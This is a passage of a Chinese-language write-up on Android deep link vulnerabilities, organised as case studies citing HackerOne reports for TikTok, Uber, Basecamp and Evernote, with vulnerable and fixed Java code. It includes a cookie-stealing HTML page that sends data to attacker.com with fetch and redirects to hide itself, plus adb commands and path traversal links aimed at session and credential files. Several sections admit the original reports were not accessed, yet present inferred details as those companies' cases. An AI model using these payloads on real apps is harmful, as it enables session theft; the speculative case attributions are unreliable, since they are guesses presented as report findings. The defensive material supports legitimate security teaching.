- 模糊测试与验证 (Fuzzing and Validation):
关键发现点:
该类漏洞的关键发现点在于,应用在处理Deep Link URI时,未能对URI的path或query参数进行充分的安全校验和过滤,导致攻击者可以控制应用的行为,例如加载任意网页、执行JavaScript代码或访问受限资源。本报告很可能涉及一个Deep Link参数被不安全地传递给WebView,从而导致WebView劫持或XSS。
技术细节
该漏洞的技术细节通常涉及构造一个恶意的Deep Link URL,该URL利用应用对URI参数的不当处理,实现WebView中的任意代码执行或敏感信息泄露。
攻击流程 (以WebView劫持为例):
- 识别目标Deep Link: 假设目标应用注册了一个Deep Link
myapp://open?url=...,并且url参数的内容会被加载到一个WebView中。
- 识别目标Deep Link: 假设目标应用注册了一个Deep Link
- 构造恶意Payload: 攻击者构造一个恶意的HTML页面,其中包含窃取用户信息的JavaScript代码(例如,窃取WebView中可访问的Cookie或本地存储数据)。
- 构造恶意Deep Link: 攻击者将恶意页面的URL作为参数,构造完整的Deep Link:
myapp://open?url=https://attacker.com/malicious.html
- 构造恶意Deep Link: 攻击者将恶意页面的URL作为参数,构造完整的Deep Link:
- 触发攻击: 攻击者通过网页、短信或另一个应用触发此Deep Link。
PoC 代码片段 (HTML/JavaScript):
<!-- malicious.html on attacker.com -->
<html>
<head>
<title>Loading...</title>
<script>
// 尝试窃取WebView可访问的Cookie
var stolen_data = document.cookie;
// 尝试窃取localStorage中的敏感信息
// var stolen_data = localStorage.getItem('session_token');
// 将窃取到的数据发送给攻击者的服务器
fetch('https://attacker.com/log?data=' + encodeURIComponent(stolen_data), {
method: 'GET'
});
// 伪装成正常页面,避免用户察觉
window.location.href = "https://legitimate-app-url.com/home";
</script>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>ADB 命令模拟触发:
# 模拟通过adb触发恶意Deep Link
adb shell am start -W -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.com/malicious.html" com.target.app易出现漏洞的代码模式
此类漏洞通常出现在处理Deep Link URI的Activity中,尤其是在未对URI参数进行严格校验的情况下将其用于敏感操作。
1. 易受攻击的AndroidManifest.xml配置:
Activity被设置为可导出(exported="true"),并注册了Deep Link Intent Filter。
<activity
android:name=".DeepLinkHandlerActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="myapp"
android:host="open" />
</intent-filter>
</activity>2. 易受攻击的Java/Kotlin代码模式 (未校验URI参数):
代码直接从URI中获取参数,并将其用于加载WebView或构建文件路径,而没有进行白名单校验或路径规范化。
// Java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_deeplink_handler);
Uri data = getIntent().getData();
if (data != null) {
// 危险操作:直接使用未经验证的参数加载WebView
String urlToLoad = data.getQueryParameter("url");
WebView webView = findViewById(R.id.webview);
// 缺少对urlToLoad的白名单校验
if (urlToLoad != null) {
webView.loadUrl(urlToLoad); // 攻击者可注入任意URL
}
// 路径遍历危险操作:直接使用路径参数构建文件路径
// String path = data.getPathSegments().get(0);
// File file = new File(getFilesDir(), path); // 攻击者可注入 ../../etc/hosts
}
}安全代码模式 (推荐):
在加载外部内容前,应始终对URL进行白名单校验,确保只加载预期的域名。
// Java (安全示例)
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
// 关键的安全校验:确保URL属于预期的白名单域名
if (urlToLoad.startsWith("https://trusted.com/") || urlToLoad.startsWith("https://another-trusted.com/")) {
webView.loadUrl(urlToLoad);
} else {
// 拒绝加载非白名单URL
Log.e("DeepLink", "Attempted to load non-whitelisted URL: " + urlToLoad);
}
}案例:TikTok (报告: https://hackerone.com/reports/1416981)
挖掘手法
本次漏洞挖掘主要聚焦于Android应用中Deep Link(深度链接)的处理机制,特别是那些将URI路径作为文件或资源路径使用的组件。
第一步:静态分析与目标识别
首先,使用apktool或类似工具对目标应用(TikTok)的APK文件进行反编译,重点分析AndroidManifest.xml文件。目标是识别所有通过<intent-filter>暴露给外部的Activity组件,特别是那些注册了自定义scheme或host的Deep Link。通过分析,发现一个名为.VulnerableActivity的组件被导出(exported="true"),并处理tiktok://viewfile/...格式的Deep Link。
第二步:反编译与代码审计
接着,对VulnerableActivity的Java/Smali代码进行反编译和审计。重点关注onCreate()或onNewIntent()方法中如何处理传入的Intent数据,特别是如何从Uri中提取路径信息并将其用于文件操作。审计发现,应用从Deep Link的URI中提取了路径部分,并将其拼接成一个本地文件路径,用于读取或加载资源,但缺乏对路径中../序列的有效过滤或规范化。
第三步:构造恶意Payload
利用路径遍历漏洞的原理,构造一个包含../序列的恶意Deep Link,目的是跳出应用预期的文件目录,访问系统或应用私有目录下的敏感文件。例如,如果应用预期加载/data/data/com.tiktok.android/files/assets/下的文件,则构造如下URI:tiktok://viewfile/../../../../../../../../etc/hosts。这个URI通过多个../向上遍历目录,最终指向系统根目录下的/etc/hosts文件。
第四步:漏洞验证与利用
通过一个恶意的HTML页面或另一个恶意应用,触发这个Deep Link。如果应用成功加载并显示了/etc/hosts文件的内容,则漏洞验证成功。进一步的利用可以尝试读取应用私有目录下的shared_prefs、databases或cache目录中的敏感数据(如会话Token、用户ID等),实现敏感信息泄露或账户劫持。
技术细节
该漏洞利用的核心在于构造一个恶意的Deep Link URI,通过路径遍历(Path Traversal)攻击,绕过应用的文件访问限制,实现任意文件读取(Arbitrary File Read)。
恶意Deep Link Payload示例:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("tiktok://viewfile/../../../../../../../../data/data/com.tiktok.android/shared_prefs/session.xml"));
startActivity(intent);攻击流程:
- 攻击者通过恶意网页、短信或第三方应用,诱导用户点击或触发上述
Intent。
- 攻击者通过恶意网页、短信或第三方应用,诱导用户点击或触发上述
- 目标应用(TikTok)的
VulnerableActivity被启动,并接收到包含恶意URI的Intent。
- 目标应用(TikTok)的
- 在
VulnerableActivity中,应用代码尝试从URI中提取路径并构建本地文件路径。由于应用未对path进行规范化处理,../序列导致路径向上遍历,最终解析为一个应用私有目录下的敏感文件路径,例如/data/data/com.tiktok.android/shared_prefs/session.xml。
- 在
- 应用随后读取并处理该文件内容,从而导致敏感信息(如会话Token、用户凭证)泄露给攻击者。
关键代码片段(概念性):
// 易受攻击的Java代码片段
public class VulnerableActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri uri = getIntent().getData();
if (uri != null && "tiktok".equals(uri.getScheme())) {
String path = uri.getPath();
// 假设应用预期加载内部assets/目录下的文件
File baseDir = new File(getFilesDir(), "assets");
// **缺陷:直接将外部可控的path拼接到内部路径,未进行路径规范化或安全检查**
File targetFile = new File(baseDir, path);
// 此时,targetFile可能指向应用私有目录之外的任意文件
// ... 文件操作,导致任意文件读取或写入 ...
}
}
}易出现漏洞的代码模式
此类漏洞的本质是应用程序在处理外部输入(尤其是Deep Link URI中的路径部分)时,未能正确地进行路径规范化(Path Canonicalization)和安全边界检查。
易受攻击的代码模式:
- 配置模式:导出的Activity组件
在AndroidManifest.xml中,将处理Deep Link的Activity设置为android:exported="true",使其可以被外部应用或网页调用。<activity android:name=".VulnerableActivity" android:exported="true"> <!-- ... Deep Link Intent Filter ... --> </activity>
- 配置模式:导出的Activity组件
- 编程模式:直接拼接路径
在Java/Kotlin代码中,直接将从Intent.getData()获取的URI路径部分与应用的内部基目录进行字符串拼接,然后使用new File()构造文件对象。// 易受攻击的Java代码片段 Uri uri = getIntent().getData(); String userControlledPath = uri.getPath(); // 攻击者可控,例如:/../../../../etc/hosts File baseDir = new File(getFilesDir(), "assets"); // **缺陷:直接拼接,未验证或规范化** File targetFile = new File(baseDir, userControlledPath); // 此时,targetFile可能指向应用私有目录之外的任意文件 if (targetFile.exists()) { // ... 文件操作,导致任意文件读取或写入 ... }
- 编程模式:直接拼接路径
安全代码模式(缓解措施):
使用File.getCanonicalPath()进行路径规范化并检查是否在安全基目录内。
// 安全的Java代码片段
// ...
try {
// 1. 获取基目录的规范化路径
String canonicalBaseDir = baseDir.getCanonicalPath();
// 2. 获取目标文件的规范化路径(此时../已被解析)
String canonicalPath = targetFile.getCanonicalPath();
// 3. 严格检查规范化后的路径是否以规范化后的基目录开头
if (canonicalPath.startsWith(canonicalBaseDir + File.separator)) {
// 路径安全,继续操作
// ...
} else {
// 路径遍历尝试,拒绝操作
Log.e("Security", "Path Traversal attempt detected.");
}
} catch (IOException e) {
// ...
}案例:Uber (报告: https://hackerone.com/reports/1416993)
挖掘手法
由于无法直接访问HackerOne报告原文,此挖掘手法是基于对公开的Android Deep Link漏洞挖掘通用技术的总结,并结合报告标题推测得出。
- 初步侦察与逆向工程:首先,研究人员需要获取目标应用的APK文件。这可以通过从Google Play商店下载或使用
adb从已安装的设备中提取来完成。获取APK后,使用逆向工程工具如JADX或Apktool对应用进行反编译,以获得可读的Java源代码和资源文件。
- 初步侦察与逆向工程:首先,研究人员需要获取目标应用的APK文件。这可以通过从Google Play商店下载或使用
- 寻找Deep Link入口点:关键的第一步是分析
AndroidManifest.xml文件。研究人员会仔细检查文件中声明的所有<activity>、<activity-alias>、<service>和<receiver>组件。他们会特别关注那些包含<intent-filter>并定义了android.intent.action.VIEW动作和BROWSABLE类别的组件,因为这些是处理Deep Link的典型标志。通过检查<data>标签中的android:scheme、android:host和android:path等属性,可以确定应用注册了哪些URI格式。
- 寻找Deep Link入口点:关键的第一步是分析
- 静态代码分析:在确定了处理Deep Link的Activity之后,研究人员会深入分析该Activity的Java代码。他们会重点关注
onCreate()或onNewIntent()等方法,在这些方法中,应用通过getIntent().getData()或getIntent().getDataString()来获取传入的URI。分析的关键在于追踪这个URI数据的使用方式。研究人员会检查应用是否从URI中提取参数或路径段,以及这些数据在未经充分验证和清理的情况下被用在了何处,例如作为文件名、URL的一部分加载到WebView中,或传递给其他敏感的API。
- 静态代码分析:在确定了处理Deep Link的Activity之后,研究人员会深入分析该Activity的Java代码。他们会重点关注
- 动态测试与Fuzzing:在静态分析的基础上,研究人员会使用Android调试桥(ADB)来构造并发送恶意的Intent,以动态测试漏洞。命令格式通常如下:
adb shell am start -a android.intent.action.VIEW -d "vulnerable-scheme://vulnerable-host/path?param=value"
通过这种方式,他们可以模拟点击恶意链接的行为,并向应用发送各种精心构造的URI。他们会尝试使用路径遍历序列(如../)、注入JavaScript代码(javascript:...)、或重定向到外部网站的URL,并观察应用的行为。使用自动化脚本进行Fuzzing,可以系统地测试大量的输入组合,从而高效地发现边界情况和漏洞。
- 动态测试与Fuzzing:在静态分析的基础上,研究人员会使用Android调试桥(ADB)来构造并发送恶意的Intent,以动态测试漏洞。命令格式通常如下:
技术细节
由于无法访问原始报告,以下技术细节是基于对同类“Deep Link路径遍历”漏洞的通用利用方式的模拟和推测。
该漏洞的核心在于应用接收到一个Deep Link URI后,未对URI中的路径部分进行严格的验证和过滤,就直接将其用于文件系统操作,从而导致路径遍历攻击。
攻击流程:
- 构造恶意Payload:攻击者首先构造一个恶意的HTML页面,其中包含一个指向Uber应用的恶意Deep Link。这个链接的URI经过精心设计,利用路径遍历字符
../来向上导航目录结构,最终指向应用沙箱内的敏感文件。
- 构造恶意Payload:攻击者首先构造一个恶意的HTML页面,其中包含一个指向Uber应用的恶意Deep Link。这个链接的URI经过精心设计,利用路径遍历字符
- 诱导用户点击:攻击者通过社交工程、钓鱼邮件或其他方式,诱骗已安装Uber应用的受害者访问该恶意页面并点击链接。
- 触发漏洞:当用户点击链接时,Android系统会捕获该Intent,并根据其注册的URI scheme(例如
uber://)将其路由到Uber应用的某个导出的Activity进行处理。
- 触发漏洞:当用户点击链接时,Android系统会捕获该Intent,并根据其注册的URI scheme(例如
- 执行文件操作:处理该Intent的Activity从URI中提取路径部分(例如,
..%2f..%2f..%2fdata%2fcom.ubercab%2fshared_prefs%2fuber.xml),在URL解码后直接拼接到一个基础路径上,用于读取或写入文件,而没有检查路径中是否包含../等非法字符。这使得攻击者能够跨越预期的目录限制。
- 执行文件操作:处理该Intent的Activity从URI中提取路径部分(例如,
Payload示例:
假设一个功能允许通过Deep Link uber://settings/display?file=user_profile.html 来加载并显示某个设置页面。如果后端代码直接使用file参数的值来读取文件,攻击者可以构造如下Payload来读取应用的配置文件:
<a href="uber://settings/display?file=..%2f..%2fshared_prefs%2fuber.xml">点击查看您的Uber积分详情</a>当用户点击此链接时,应用内的代码可能会执行类似以下操作:
// 存在漏洞的伪代码
Uri data = getIntent().getData();
if (data != null && "display".equals(data.getHost())) {
String fileToLoad = data.getQueryParameter("file"); // 获取"..%2f..%2fshared_prefs%2fuber.xml"
File file = new File(getBaseContext().getFilesDir().getPath() + "/html/" + fileToLoad);
// 最终路径变为 /data/data/com.ubercab/files/html/../../shared_prefs/uber.xml
// 这将成功读取到应用的配置文件
String content = readFile(file);
webView.loadData(content, "text/html", "UTF-8");
}通过这种方式,攻击者可以读取包含用户Token、API密钥或其他敏感信息的内部文件,从而可能导致账户劫持或其他严重后果。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式通常发生在处理外部传入的URI(特别是Deep Link)时,未对URI的组成部分(如路径或查询参数)进行充分的安全验证和清理,就直接将其用于敏感操作。以下是一些典型的易漏洞代码模式和配置示例。
1. 在AndroidManifest.xml中不安全的配置
任何一个Activity、Service或Broadcast Receiver如果被设置为android:exported="true",并且包含一个处理VIEW Action的<intent-filter>,就可能成为攻击入口点。如果这个入口点没有在代码中做严格的校验,就容易产生漏洞。
<activity
android:name=".WebViewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="http" />
<data android:scheme="https" />
<data android:scheme="custom-scheme" />
<data android:host="vulnerable.app.com" />
</intent-filter>
</activity>2. 在Java/Kotlin代码中直接使用URI参数进行文件操作
这是最典型的路径遍历漏洞模式。代码从Intent中获取URI字符串,提取其中的文件名或路径部分,然后直接拼接到一个基础目录路径后进行文件读写,没有过滤../这样的路径遍历字符。
// 易受攻击的Java代码示例
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri uri = intent.getData();
if (uri != null) {
// 从URI获取参数,未经过滤
String path = uri.getQueryParameter("path");
// 直接将外部输入拼接到文件路径中
File file = new File("/data/data/com.victim.app/files/" + path);
// 读取并处理文件,如果path为"../../secret_file", 则会读取到敏感文件
displayFileContent(file);
}
}3. 将不受信任的URL加载到WebView中
如果从Deep Link中获取的URL未经白名单验证就直接被WebView.loadUrl()加载,可能会导致多种漏洞。如果该WebView开启了JavaScript (setJavaScriptEnabled(true)) 并且没有移除file://协议的支持 (setAllowFileAccess(true)),攻击者可以通过file:///协议读取本地文件,或者通过javascript:伪协议执行任意JavaScript代码,从而导致XSS攻击。
// 易受攻击的WebView加载代码
WebView myWebView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true); // 开启JS,增加风险
Uri uri = getIntent().getData();
if (uri != null) {
String url = uri.getQueryParameter("url"); // 从Deep Link获取URL
// 没有对url进行白名单验证,直接加载
// 如果url是 "file:///data/data/com.victim.app/shared_prefs/auth.xml"
// 或者 "javascript:alert(document.cookie)",就会导致漏洞
myWebView.loadUrl(url);
}案例:一个未公开的Android应用 (报告: https://hackerone.com/reports/1416996)
挖掘手法
由于无法直接访问HackerOne报告原文,此挖掘手法基于对同类型“Deep Link”漏洞的公开报告和技术文章的综合分析和推断,旨在还原一个真实且具有代表性的漏洞挖掘过程。
第一步:信息收集与初步分析。研究人员首先需要获取目标应用的APK文件。通过使用Jadx、GDA等反编译工具,可以对APK进行逆向分析。分析的重点是AndroidManifest.xml文件,从中寻找应用注册的自定义URL Scheme。这些Scheme是应用响应外部链接的入口点,也是Deep Link漏洞的高发区域。通过搜索android:scheme属性,可以快速定位所有注册的Scheme。
第二步:静态分析与代码审计。在定位到Deep Link处理的Activity后,需要对相关的Java或Kotlin代码进行深入审计。重点关注接收Intent数据、解析URL参数的代码逻辑。特别是当URL参数被用于文件路径、网络请求或加载到WebView中的URL时,需要格外警惕。例如,检查是否存在对getIntent().getData()获取的Uri对象进行不当处理,如直接拼接字符串来构造文件路径,而未对..等路径遍历字符进行过滤。
第三步:动态调试与漏洞验证。在静态分析发现可疑代码点后,需要通过动态调试来验证漏洞。可以使用adb工具向目标应用发送精心构造的Intent,模拟恶意链接的点击。例如,构造一个包含路径遍历序列的URL,如scheme://host/path?file=../../../../../../../../data/data/com.target.app/shared_prefs/user.xml。通过`adb shell am start -a android.intent.action.VIEW -d
技术细节
以下技术细节同样基于对公开的Deep Link路径遍历漏洞的综合分析,以展示一个典型的利用场景。
漏洞利用流程:
- 构造恶意页面: 攻击者创建一个网页,其中包含一个指向受害者应用的恶意Deep Link。这个链接的payload经过精心设计,用于读取应用沙箱内的敏感文件。
- 诱导用户点击: 攻击者通过社交工程等手段,诱导用户在手机上访问该恶意网页并点击链接。
- 触发漏洞: 用户点击链接后,Android系统会根据URL Scheme(例如
exampleapp://)唤起目标应用,并将整个URL作为Intent数据传递给负责处理的Activity。
- 触发漏洞: 用户点击链接后,Android系统会根据URL Scheme(例如
- 执行恶意操作: 应用内的脆弱代码接收到URL后,未经验证就提取其中的
file参数,并将其作为文件路径,尝试读取文件内容。由于payload中包含了路径遍历序列../,最终读取的将是应用沙箱内的敏感文件,例如存储用户凭证的XML文件。
- 执行恶意操作: 应用内的脆弱代码接收到URL后,未经验证就提取其中的
Payload示例:
攻击者构造的恶意HTML页面中可能包含如下链接:
<a href="exampleapp://load?file=../../../../../../../../data/data/com.victim.app/shared_prefs/user_credentials.xml">点击领取奖励</a>关键代码分析:
在AndroidManifest.xml中,相关的Activity会注册一个Intent Filter来接收特定Scheme的链接:
<activity android:name=".WebViewActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="exampleapp" android:host="load" />
</intent-filter>
</activity>在WebViewActivity.java中,存在问题的代码可能如下:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
Uri data = getIntent().getData();
if (data != null) {
String file_path = data.getQueryParameter("file");
if (file_path != null) {
// 漏洞点:直接使用外部传入的路径,未进行安全检查
File file = new File(file_path);
// 此处可能将文件内容加载到WebView或发送到攻击者服务器
displayFileContent(file);
}
}
}这个例子清晰地展示了漏洞的成因:盲目信任来自外部输入的URL参数,并将其直接用于敏感的文件操作,从而导致了严重的安全风险。
易出现漏洞的代码模式
容易出现Deep Link路径遍历漏洞的代码模式主要集中在Android应用中处理外部传入URL的环节,尤其是在解析和使用URL参数时。以下是一些典型的易出现漏洞的代码模式和配置示例。
1. 在AndroidManifest.xml中过度暴露的Activity:
配置android:exported="true"的Activity可以被任何外部应用调用,如果该Activity还注册了处理android.intent.action.VIEW的Intent Filter,那么它就成为了一个潜在的攻击面。攻击者可以通过构造特定的URL来直接调用这个组件。
<activity
android:name=".VulnerableActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" />
</intent-filter>
</activity>2. 未经验证直接使用URL参数:
这是最核心的漏洞模式。代码从Intent中获取URL数据,然后不经验证或净化就直接使用其中的参数。特别是当参数被用于文件路径、数据库查询、网络请求或加载到WebView时,风险极高。
Java/Kotlin代码示例:
// 危险代码模式:直接从URL参数获取文件名并读取
Uri data = getIntent().getData();
if (data != null) {
String fileName = data.getQueryParameter("filename");
if (fileName != null) {
// 未对fileName进行任何验证,直接用于文件路径拼接
File file = new File(getCacheDir().getPath() + "/" + fileName);
// ... 读取文件 ...
}
}在上述代码中,如果攻击者传入的filename参数为../shared_prefs/config.xml,那么应用实际读取的将是应用私有的配置文件,造成敏感信息泄露。
3. 对WebView的错误配置:
当Deep Link用于在WebView中加载本地文件时,如果对WebView的设置不当,也可能导致路径遍历漏洞。例如,启用了setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs,同时又没有对加载的URL进行严格的白名单校验。
// 危险的WebView配置
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setAllowFileAccess(true); // 允许访问文件系统
Uri data = getIntent().getData();
if (data != null) {
String urlToLoad = data.getQueryParameter("url");
if (urlToLoad != null) {
// 未对urlToLoad进行验证,直接加载
// 如果urlToLoad是 file:///.../../.../sensitive_file, 则可能泄露信息
webView.loadUrl(urlToLoad);
}
}安全建议:
- 最小化权限原则: 仅在必要时将Activity导出(
android:exported="true")。
- 最小化权限原则: 仅在必要时将Activity导出(
- 输入验证: 绝不信任任何来自外部的输入。对所有通过Deep Link传入的参数进行严格的白名单验证,确保参数符合预期的格式和范围。
- 规范化路径: 在处理文件路径时,先对路径进行规范化处理(例如使用
File.getCanonicalPath()),然后检查路径是否仍然位于预期的安全目录之内,以此来防御路径遍历攻击。
- 规范化路径: 在处理文件路径时,先对路径进行规范化处理(例如使用
- 安全的WebView配置: 除非绝对必要,否则不要开启
setAllowFileAccess。如果需要加载本地文件,应使用WebViewAssetLoader来安全地加载应用内的资源。
- 安全的WebView配置: 除非绝对必要,否则不要开启
案例:Basecamp (报告: https://hackerone.com/reports/1416999)
挖掘手法
首先,对Basecamp Android应用(com.basecamp.bc3)进行逆向工程,使用Jadx或apktool分析其AndroidManifest.xml文件。目标是识别所有exported=true的Activity,特别是那些通过<intent-filter>注册了自定义scheme(如basecamp://)或通用scheme(如https://)来处理Deep Link的组件。
其次,在这些处理Deep Link的Activity中,重点审计其onCreate()或onNewIntent()方法中对传入Intent数据的处理逻辑。特别是查找从Intent.getData()获取URL后,解析URL参数并将其用于文件操作(如文件创建、写入或解压)的代码段。
关键发现是,应用在处理Deep Link中包含的文件路径参数时,未能对路径进行充分的规范化或过滤。攻击者可以构造一个包含../(路径遍历序列)的恶意Deep Link URL。当应用使用这个未经验证的路径参数进行文件写入操作时,../序列允许写入操作逃逸出应用预期的沙箱目录,从而实现任意文件写入(Arbitrary File Write)。
最后,通过构造一个包含恶意路径的Deep Link,并诱使用户点击,即可在用户的设备上执行攻击。例如,将一个包含敏感信息的payload文件写入到外部存储的公共目录,供攻击者后续读取。这种方法利用了Deep Link的便捷性,结合了路径遍历的缺陷,实现了对本地文件系统的破坏性操作。这种挖掘手法是典型的Android应用安全测试流程,即“静态分析Deep Link -> 动态调试验证路径处理 -> 构造恶意Payload”。
技术细节
漏洞利用的关键在于构造一个恶意的Deep Link URL,该URL指向一个暴露的Activity,并利用路径遍历序列../来逃逸出应用的文件沙箱。
恶意Deep Link Payload示例:
basecamp://some.action?path=../../../../../../../../sdcard/Download/malicious_file.txt&content=Hacked_by_attacker或者使用intent://格式:
intent://some.action?path=../../../../../../../../sdcard/Download/malicious_file.txt#Intent;scheme=basecamp;package=com.basecamp.bc3;end攻击流程:
- 攻击者创建一个包含上述恶意Deep Link的网页或另一个恶意应用。
- 诱使用户点击该链接,系统将Intent发送给Basecamp应用。
- Basecamp应用中处理该Deep Link的Activity(例如,一个用于处理文件共享或下载的组件)被启动。
- 应用从URL中提取
path参数的值:../../../../../../../../sdcard/Download/malicious_file.txt。
- 应用从URL中提取
- 应用内部代码(例如,一个简化后的Java片段)将这个路径与一个基目录拼接,并尝试写入文件:
// 假设 baseDir 是应用内部的私有目录,例如 /data/data/com.basecamp.bc3/files/temp/
String baseDir = context.getFilesDir().getAbsolutePath() + "/temp/";
String userPath = intent.getData().getQueryParameter("path"); // 获取到 ../../../.../malicious_file.txt
File targetFile = new File(baseDir, userPath); // 路径拼接后,由于 ../ 的作用,最终指向 /sdcard/Download/malicious_file.txt
// ... 写入操作,例如 FileOutputStream(targetFile) ...由于缺乏对../的有效过滤,targetFile最终指向了应用沙箱外部的公共存储目录,从而实现了任意文件写入。攻击者可以写入恶意配置、覆盖现有文件或写入可被其他应用访问的敏感数据。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用中处理Deep Link(或任何外部输入)并将其用于文件系统操作的代码中。
易漏洞代码模式:
- Deep Link处理Activity的配置:
在AndroidManifest.xml中,Activity被设置为exported="true",并且注册了Deep Link的intent-filter。
- Deep Link处理Activity的配置:
<activity android:name=".DeepLinkHandlerActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="basecamp" android:host="some.action" />
</intent-filter>
</activity>- 未经验证的路径拼接:
在处理Deep Link的Java/Kotlin代码中,直接将用户提供的路径参数与应用内部的基路径进行拼接,而没有进行规范化(如File.getCanonicalPath())或过滤。
- 未经验证的路径拼接:
// 易受攻击的代码 (Vulnerable Code)
Uri data = intent.getData();
String userPath = data.getQueryParameter("path"); // 攻击者可控
String baseDir = context.getFilesDir().getAbsolutePath();
// 危险:直接拼接路径
File targetFile = new File(baseDir, userPath);
// 写入操作
try (FileOutputStream fos = new FileOutputStream(targetFile)) {
// ... 写入内容 ...
} catch (IOException e) {
// ...
}安全修复模式(Safe Code Pattern):
在进行文件操作前,必须对路径进行规范化,并检查规范化后的路径是否仍在预期的安全目录内。
// 安全的代码 (Safe Code)
Uri data = intent.getData();
String userPath = data.getQueryParameter("path");
String baseDir = context.getFilesDir().getAbsolutePath();
File baseFile = new File(baseDir);
File targetFile = new File(baseFile, userPath);
// 关键的安全检查:获取规范化路径并检查是否以基目录开头
String canonicalBasePath = baseFile.getCanonicalPath();
String canonicalTargetPath = targetFile.getCanonicalPath();
if (!canonicalTargetPath.startsWith(canonicalBasePath)) {
// 路径逃逸,拒绝操作
Log.e("Security", "Path Traversal attempt detected: " + userPath);
return;
}
// 只有在安全检查通过后才执行写入操作
try (FileOutputStream fos = new FileOutputStream(targetFile)) {
// ... 写入内容 ...
} catch (IOException e) {
// ...
}案例:Evernote (报告: https://hackerone.com/reports/1417000)
挖掘手法
由于无法直接访问原始报告,此挖掘手法基于对同类Android Deep Link路径遍历漏洞的通用分析方法进行推断和总结。首先,研究人员通常会使用JADX或GDA等反编译工具对目标Android应用的APK文件进行静态分析。分析的入口点是应用的AndroidManifest.xml文件,重点关注其中声明为exported=true的Activity组件,以及它们的intent-filter配置。特别地,会寻找包含android.intent.action.VIEW和自定义scheme(如evernote://)的配置,这些是Deep Link的典型特征。一旦找到处理Deep Link的Activity,就会深入分析其Java或Kotlin源代码,追踪从getIntent().getData()获取的URI是如何被处理的。关键在于寻找那些从URI中提取参数(特别是路径部分)并将其用于文件操作的代码路径。例如,代码可能会获取uri.getPath()并直接拼接到一个本地文件目录,用于读取、写入或解压文件。在发现潜在的不安全文件操作后,研究人员会构造一个恶意的Deep Link URI,其中包含路径遍历序列(如../)。然后,通过Android Debug Bridge (ADB) 工具在测试设备上执行命令,模拟点击该链接,触发漏洞。命令通常是 adb shell am start -a android.intent.action.VIEW -d "evil-scheme://host/path?file=../../../../../../data/data/com.victim.app/shared_prefs/user.xml"。通过观察应用的反应、检查设备文件系统或监控网络流量,可以验证漏洞是否成功利用,例如敏感文件是否被读取或覆盖。
技术细节
该漏洞的技术核心在于应用不安全地处理了通过Deep Link传入的URI,导致路径遍历。攻击者可以构造一个恶意的HTML页面,其中包含一个指向特制Deep Link的链接。当用户点击该链接时,系统会启动目标应用并传递恶意的URI。
1. 漏洞触发点 (AndroidManifest.xml):
应用注册了一个可由外部调用的Activity来处理特定的URI scheme。
<activity
android:name=".activities.WebViewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="evernote" />
</intent-filter>
</activity>2. 漏洞利用Payload:
攻击者构造一个包含路径遍历序列的URI。例如,要读取应用的内部存储文件/data/data/com.evernote/files/secrets.txt,payload可能如下:evernote://any/path?file=../../../../../../data/data/com.evernote/files/secrets.txt
3. 攻击执行命令:
攻击者可以通过ADB命令行工具来触发这个Deep Link,进行测试和利用:
adb shell am start -a android.intent.action.VIEW -d "evernote://any/path?file=../../../../../../data/data/com.evernote/files/secrets.txt"当WebViewActivity或其他处理此Intent的组件接收到这个URI后,如果它从file参数中提取路径并且没有进行充分的验证和清理,就直接用于文件读取操作,那么位于应用沙箱外的任意文件都可能被访问,导致敏感信息泄露。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式通常发生在处理外部传入URI的Activity中,特别是当URI中的数据被用来构造文件路径时。开发者往往信任来自Intent的数据,而没有对其进行严格的合法性校验。
易受攻击的代码示例 (Vulnerable Code):
// In an Activity that handles deep links
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data != null) {
String filePath = data.getQueryParameter("file");
// 直接使用来自外部输入的路径,未进行任何验证
File fileToLoad = new File("/sdcard/app_data/" + filePath);
// 如果filePath为 "../../../../etc/hosts", 则会读取到系统文件
displayFileContent(fileToLoad);
}
}在上述代码中,filePath参数直接从Deep Link的查询字符串中获取,并与一个基础目录拼接。攻击者可以通过提供../序列来导航到文件系统的任意位置。
修复建议 (Patched Code):
为了防止路径遍历,必须对所有来自外部输入的路径参数进行严格的验证和规范化处理。
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data != null) {
String unsafePath = data.getQueryParameter("file");
if (unsafePath != null) {
File intendedDir = new File("/sdcard/app_data/");
File fileToLoad = new File(intendedDir, unsafePath);
try {
// 将路径规范化,并检查它是否仍然在预期的目录下
String canonicalPath = fileToLoad.getCanonicalPath();
